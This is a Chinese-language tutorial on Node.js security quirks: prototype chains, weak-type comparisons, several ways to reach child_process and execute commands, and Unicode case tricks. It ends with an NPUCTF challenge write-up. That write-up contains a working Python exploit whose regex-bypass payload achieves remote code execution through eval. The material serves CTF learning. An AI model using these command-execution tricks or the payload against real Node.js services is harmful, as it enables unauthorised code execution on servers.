nodejs一些入门特性&&实战
字数 1278 2025-08-20 18:18:05

Node.js 安全特性与实战解析

一、JavaScript 原型链机制

1. 原型基础概念

JavaScript 采用基于原型的继承模型,几乎所有对象都是 Object 的实例。与传统的类继承不同,JavaScript 没有真正的类概念,只有对象。

创建对象示例:

function testfn() {
    this.a = 1;
    this.b = 2;
}
var ob = new testfn();

原始类型创建对象:

a = "test";  // 字符串
b = 1;       // 数字
c = false;   // 布尔

2. 特殊类型行为

JavaScript 的类型系统有其特殊性:

console.log(typeof(null));  // 输出 "object"

null 在 JavaScript 中被称为原型对象,是所有对象的源点。

3. 数据类型分类

基本类型:

  • String
  • Number
  • Boolean
  • null
  • undefined

引用类型:

  • Object
  • Array
  • RegExp
  • Date
  • Function

这些数据类型本质上都是 JavaScript 的内置对象。

4. 原型访问方式

function testfn() {
    this.a = 1;
    this.b = 2;
}
var ob = new testfn();

// 函数原型访问
console.log(testfn["__proto__"]);
console.log(testfn.__proto__);
console.log(testfn.constructor.prototype);

// 对象原型访问
console.log(ob["__proto__"]);
console.log(ob.__proto__);
console.log(ob.constructor.prototype);

// 重要关系:ob.__proto__ == testfn.prototype

5. 原型链示例

Array.prototype.test = function test() {
    console.log("Come from prototype");
}
a = []
a.test()  // 输出 "Come from prototype"

原型链关系:

console.log([].__proto__);           // Array
console.log([].__proto__.__proto__); // Object
console.log([].__proto__.__proto__.__proto__); // null

完整原型链:[] -> Array -> Object -> null

二、JavaScript 弱类型特性

1. 大小比较规则

数字与字符串比较:

console.log(1 == '1');    // true
console.log(1 > '2');     // false
console.log('1' < '2');   // true
console.log(111 > '3');   // true
console.log('111' > '3'); // false
console.log('asd' > 1);   // false

规则总结:

  1. 数字与字符串比较时,纯数字型字符串会转为数字再比较
  2. 字符串间比较时,比较第一个字符的 ASCII 码
  3. 非数字型字符串与任何数字比较都是 false

数组比较:

console.log([] == []);          // false
console.log([] > []);           // false
console.log([6,2] > [5]);       // true
console.log([100,2] < 'test');  // true
console.log([1,2] < '2');       // true
console.log([11,16] < "10");    // false

规则总结:

  1. 空数组间比较永远为 false
  2. 非空数组比较第一个元素
  3. 数组与非数值型字符串比较,数组永远小于字符串
  4. 数组与数值型字符串比较,比较第一个元素

特殊相等比较:

console.log(null == undefined);   // true
console.log(null === undefined);  // false
console.log(NaN == NaN);          // false
console.log(NaN === NaN);         // false
console.log(typeof(NaN));         // "number"

2. 变量拼接行为

console.log(5 + [6,6]);      // "56,6"
console.log("5" + 6);        // "56"
console.log("5" + [6,6]);    // "56,6"
console.log("5" + ["6","6"]); // "56,6"

三、Node.js 模块加载与命令执行

1. 模块加载方式

常规 require 加载:

require('child_process').exec('calc');

通过 global 对象加载(无 require 时):

global.process.mainModule.constructor._load('child_process').exec('calc');

2. 代码执行方式

eval 执行:

eval("require('child_process').exec('calc');");

定时器执行:

setInterval(require('child_process').exec, 1000, "calc");
setTimeout(require('child_process').exec, 1000, "calc");

Function 构造函数执行:

Function("global.process.mainModule.constructor._load('child_process').exec('calc')")();

注意:Function 的上下文中没有 require,需要从 global 中获取。

四、特殊字符特性

1. 大小写转换特性

存在特殊字符:

  • "ı" → toUpperCase → "I"
  • "ſ" → toUpperCase → "S"
  • 特殊 K 字符 → toLowerCase → "k"

五、ES6 模板字符串

1. 基本用法

替代括号执行函数:

alert`test!!`;

插入变量:

var fruit = "apple";
console.log`i like ${fruit} very much`;

2. 实现原理

模板字符串将字符串作为参数数组传入函数,遇到 ${} 时会分割字符串:

["i like ", " very much", raw: Array(2)]

限制:

eval`alert(2)`  // 无法执行

六、实战案例:NPUCTF 验证码题目

1. 题目源码分析

关键代码片段:

function saferEval(str) {
    if (str.replace(/(?:Math(?:\.\w+d+\.?\d*(?:e\d+)?)| /g, '')) {
        return null;
    }
    return eval(str);
}

// 验证逻辑
if (first && second && first.length === second.length && 
    first !== second && 
    md5(first + keys[0]) === md5(second + keys[0])) {
    // 执行 saferEval
}

2. 绕过验证逻辑

利用弱类型特性绕过:

  • firstsecond 可以是不同类型但长度相同
  • 利用变量拼接特性:'a'+key[0] == ['a']+key[0]

示例请求:

{
    'e': "1+1",
    "first": [1],
    "second": "1"
}

3. 绕过 saferEval 正则

构造 payload 获取 Function:

(Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(...))()))(Math+1)

完整利用代码:

import requests
import json

def payload():
    s = "return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')"
    return ','.join([str(ord(i)) for i in s])

a = payload()
url = "http://xxx/"
headers = {"Content-Type": "application/json"}
e = "(Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode({0}))()))(Math+1)".format(a)
data = json.dumps({'e': e, "first": [1], "second": "1"})
r = requests.post(url, headers=headers, data=data)
print(r.text)

七、其他注意事项

  1. let 不能重复声明变量,会导致报错(暂存死区)
  2. typeof(NaN) 返回 "number"
  3. Object.freeze(Object)Object.freeze(Math) 会冻结这些对象,防止修改
Node.js 安全特性与实战解析 一、JavaScript 原型链机制 1. 原型基础概念 JavaScript 采用基于原型的继承模型,几乎所有对象都是 Object 的实例。与传统的类继承不同,JavaScript 没有真正的类概念,只有对象。 创建对象示例: 原始类型创建对象: 2. 特殊类型行为 JavaScript 的类型系统有其特殊性: null 在 JavaScript 中被称为原型对象,是所有对象的源点。 3. 数据类型分类 基本类型: String Number Boolean null undefined 引用类型: Object Array RegExp Date Function 这些数据类型本质上都是 JavaScript 的内置对象。 4. 原型访问方式 5. 原型链示例 原型链关系: 完整原型链: [] -> Array -> Object -> null 二、JavaScript 弱类型特性 1. 大小比较规则 数字与字符串比较: 规则总结: 数字与字符串比较时,纯数字型字符串会转为数字再比较 字符串间比较时,比较第一个字符的 ASCII 码 非数字型字符串与任何数字比较都是 false 数组比较: 规则总结: 空数组间比较永远为 false 非空数组比较第一个元素 数组与非数值型字符串比较,数组永远小于字符串 数组与数值型字符串比较,比较第一个元素 特殊相等比较: 2. 变量拼接行为 三、Node.js 模块加载与命令执行 1. 模块加载方式 常规 require 加载: 通过 global 对象加载(无 require 时): 2. 代码执行方式 eval 执行: 定时器执行: Function 构造函数执行: 注意:Function 的上下文中没有 require,需要从 global 中获取。 四、特殊字符特性 1. 大小写转换特性 存在特殊字符: "ı" → toUpperCase → "I" "ſ" → toUpperCase → "S" 特殊 K 字符 → toLowerCase → "k" 五、ES6 模板字符串 1. 基本用法 替代括号执行函数: 插入变量: 2. 实现原理 模板字符串将字符串作为参数数组传入函数,遇到 ${} 时会分割字符串: 限制: 六、实战案例:NPUCTF 验证码题目 1. 题目源码分析 关键代码片段: 2. 绕过验证逻辑 利用弱类型特性绕过: first 和 second 可以是不同类型但长度相同 利用变量拼接特性: 'a'+key[0] == ['a']+key[0] 示例请求: 3. 绕过 saferEval 正则 构造 payload 获取 Function: 完整利用代码: 七、其他注意事项 let 不能重复声明变量,会导致报错(暂存死区) typeof(NaN) 返回 "number" Object.freeze(Object) 和 Object.freeze(Math) 会冻结这些对象,防止修改